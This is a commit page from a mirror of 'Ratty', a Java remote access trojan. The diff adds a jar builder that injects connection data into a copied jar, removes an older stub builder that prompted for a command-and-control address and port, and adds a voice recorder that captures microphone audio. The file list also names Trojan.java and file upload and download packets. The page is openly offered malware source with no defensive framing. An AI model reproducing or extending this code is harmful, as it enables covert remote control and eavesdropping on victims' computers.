mirror of https://github.com/LucaBongiorni/Ratty
Browse Source
Major changes
Major changes
Made more use of QuickLZ Improved the builder (in terms of code) Started to implement voice againmaster
Sogomn
9 years ago
14 changed files with 266 additions and 149 deletions
-
1Ratty/res/language/lang.properties
-
1Ratty/res/language/lang_de.properties
-
1Ratty/res/language/lang_en.properties
-
1Ratty/src/de/sogomn/rat/ActiveConnection.java
-
2Ratty/src/de/sogomn/rat/Ratty.java
-
26Ratty/src/de/sogomn/rat/Trojan.java
-
50Ratty/src/de/sogomn/rat/builder/JarBuilder.java
-
129Ratty/src/de/sogomn/rat/builder/StubBuilder.java
-
10Ratty/src/de/sogomn/rat/packet/DownloadFilePacket.java
-
9Ratty/src/de/sogomn/rat/packet/UploadFilePacket.java
-
18Ratty/src/de/sogomn/rat/packet/VoicePacket.java
-
44Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
-
53Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
-
66Ratty/src/de/sogomn/rat/util/VoiceRecorder.java
@ -0,0 +1,50 @@ |
|||
package de.sogomn.rat.builder; |
|||
|
|||
import java.io.ByteArrayInputStream; |
|||
import java.io.File; |
|||
import java.io.IOException; |
|||
import java.net.URISyntaxException; |
|||
import java.nio.file.FileSystem; |
|||
import java.nio.file.FileSystems; |
|||
import java.nio.file.Files; |
|||
import java.nio.file.Path; |
|||
import java.nio.file.StandardCopyOption; |
|||
|
|||
import de.sogomn.engine.util.FileUtils; |
|||
import de.sogomn.rat.Ratty; |
|||
|
|||
public final class JarBuilder { |
|||
|
|||
private static final File JAR_FILE; |
|||
|
|||
static { |
|||
File jarFile = null; |
|||
|
|||
try { |
|||
jarFile = new File(Ratty.class.getProtectionDomain().getCodeSource().getLocation().toURI()); |
|||
} catch (final URISyntaxException ex) { |
|||
ex.printStackTrace(); |
|||
} |
|||
|
|||
JAR_FILE = jarFile; |
|||
} |
|||
|
|||
private JarBuilder(final File file) { |
|||
//... |
|||
} |
|||
|
|||
public static void build(final File destination, final String replacement, final byte[] replacementData) throws IOException { |
|||
FileUtils.copyFile(JAR_FILE, destination); |
|||
|
|||
final Path destinationPath = destination.toPath(); |
|||
final ByteArrayInputStream in = new ByteArrayInputStream(replacementData); |
|||
final FileSystem fileSystem = FileSystems.newFileSystem(destinationPath, null); |
|||
final Path replacementPath = fileSystem.getPath(replacement); |
|||
|
|||
Files.copy(in, replacementPath, StandardCopyOption.REPLACE_EXISTING); |
|||
|
|||
fileSystem.close(); |
|||
in.close(); |
|||
} |
|||
|
|||
} |
@ -1,129 +0,0 @@ |
|||
package de.sogomn.rat.builder; |
|||
|
|||
import static de.sogomn.rat.Ratty.LANGUAGE; |
|||
|
|||
import java.io.ByteArrayInputStream; |
|||
import java.io.File; |
|||
import java.io.IOException; |
|||
import java.net.URI; |
|||
import java.net.URISyntaxException; |
|||
import java.nio.file.FileSystem; |
|||
import java.nio.file.FileSystems; |
|||
import java.nio.file.Files; |
|||
import java.nio.file.Path; |
|||
import java.nio.file.StandardCopyOption; |
|||
|
|||
import javax.swing.JFileChooser; |
|||
import javax.swing.JOptionPane; |
|||
import javax.swing.filechooser.FileNameExtensionFilter; |
|||
|
|||
import de.sogomn.engine.util.FileUtils; |
|||
import de.sogomn.rat.Ratty; |
|||
|
|||
|
|||
/* |
|||
* This class is kinda hardcoded. |
|||
* I don't care. |
|||
*/ |
|||
public final class StubBuilder { |
|||
|
|||
private static final String ADDRESS_MESSAGE = LANGUAGE.getString("builder.address_question"); |
|||
private static final String PORT_MESSAGE = LANGUAGE.getString("builder.port_question"); |
|||
|
|||
private static final String FILE_EXTENSION = ".jar"; |
|||
private static final String FILE_NAME = "/connection_data.txt"; |
|||
|
|||
private StubBuilder() { |
|||
//... |
|||
} |
|||
|
|||
private static File getFileInput(final boolean open) { |
|||
final JFileChooser fileChooser = new JFileChooser(); |
|||
final String currentDirectoryPath = System.getProperty("user.dir"); |
|||
final File currentDirectory = new File(currentDirectoryPath); |
|||
|
|||
fileChooser.setCurrentDirectory(currentDirectory); |
|||
fileChooser.setFileFilter(new FileNameExtensionFilter("*.jar", "JAR")); |
|||
|
|||
final int input = open ? fileChooser.showOpenDialog(null) : fileChooser.showSaveDialog(null); |
|||
|
|||
if (input == JFileChooser.APPROVE_OPTION) { |
|||
File file = fileChooser.getSelectedFile(); |
|||
|
|||
final String name = file.getName(); |
|||
|
|||
if (!name.endsWith(FILE_EXTENSION)) { |
|||
file = new File(file + FILE_EXTENSION); |
|||
} |
|||
|
|||
return file; |
|||
} |
|||
|
|||
return null; |
|||
} |
|||
|
|||
private static File copyJarFile() { |
|||
final File destination = getFileInput(false); |
|||
|
|||
if (destination == null) { |
|||
return null; |
|||
} |
|||
|
|||
try { |
|||
final URI sourceUri = Ratty.class.getProtectionDomain().getCodeSource().getLocation().toURI(); |
|||
final File source = new File(sourceUri); |
|||
|
|||
FileUtils.copyFile(source, destination); |
|||
|
|||
return destination; |
|||
} catch (final URISyntaxException ex) { |
|||
ex.printStackTrace(); |
|||
|
|||
return null; |
|||
} |
|||
} |
|||
|
|||
private static void replaceFile(final File jarFile) { |
|||
final String address = JOptionPane.showInputDialog(ADDRESS_MESSAGE); |
|||
|
|||
if (address == null || address.isEmpty()) { |
|||
jarFile.delete(); |
|||
|
|||
return; |
|||
} |
|||
|
|||
final String port = JOptionPane.showInputDialog(PORT_MESSAGE); |
|||
|
|||
if (port == null || port.isEmpty()) { |
|||
jarFile.delete(); |
|||
|
|||
return; |
|||
} |
|||
|
|||
final String fileContent = address + "\r\n" + port + "\r\ntrue"; |
|||
final byte[] data = fileContent.getBytes(); |
|||
final ByteArrayInputStream in = new ByteArrayInputStream(data); |
|||
final Path jarFilePath = jarFile.toPath(); |
|||
|
|||
try { |
|||
final FileSystem jarFileSystem = FileSystems.newFileSystem(jarFilePath, null); |
|||
final Path fileToReplace = jarFileSystem.getPath(FILE_NAME); |
|||
|
|||
Files.copy(in, fileToReplace, StandardCopyOption.REPLACE_EXISTING); |
|||
|
|||
jarFileSystem.close(); |
|||
in.close(); |
|||
} catch (final IOException ex) { |
|||
ex.printStackTrace(); |
|||
} |
|||
} |
|||
|
|||
public static void start() { |
|||
final File jarFile = copyJarFile(); |
|||
|
|||
if (jarFile != null) { |
|||
replaceFile(jarFile); |
|||
} |
|||
} |
|||
|
|||
} |
@ -0,0 +1,66 @@ |
|||
package de.sogomn.rat.util; |
|||
|
|||
import javax.sound.sampled.AudioSystem; |
|||
import javax.sound.sampled.LineUnavailableException; |
|||
import javax.sound.sampled.TargetDataLine; |
|||
|
|||
public final class VoiceRecorder { |
|||
|
|||
private TargetDataLine line; |
|||
private Thread thread; |
|||
private boolean running; |
|||
|
|||
private byte[] data; |
|||
|
|||
public VoiceRecorder(final int bufferSize) { |
|||
data = new byte[bufferSize]; |
|||
} |
|||
|
|||
public void start() { |
|||
if (running) { |
|||
return; |
|||
} |
|||
|
|||
final Runnable runnable = () -> { |
|||
while (running) { |
|||
line.read(data, 0, data.length); |
|||
} |
|||
}; |
|||
|
|||
try { |
|||
line = AudioSystem.getTargetDataLine(null); |
|||
thread = new Thread(runnable); |
|||
running = true; |
|||
|
|||
line.open(); |
|||
line.start(); |
|||
thread.start(); |
|||
} catch (final LineUnavailableException ex) { |
|||
ex.printStackTrace(); |
|||
} |
|||
} |
|||
|
|||
public void stop() { |
|||
if (!running) { |
|||
return; |
|||
} |
|||
|
|||
running = false; |
|||
|
|||
thread.interrupt(); |
|||
line.stop(); |
|||
line.close(); |
|||
|
|||
thread = null; |
|||
line = null; |
|||
} |
|||
|
|||
public boolean isRunning() { |
|||
return running; |
|||
} |
|||
|
|||
public byte[] getLastRecord() { |
|||
return data; |
|||
} |
|||
|
|||
} |
Write
Preview
Loading…
Cancel
Save
Reference in new issue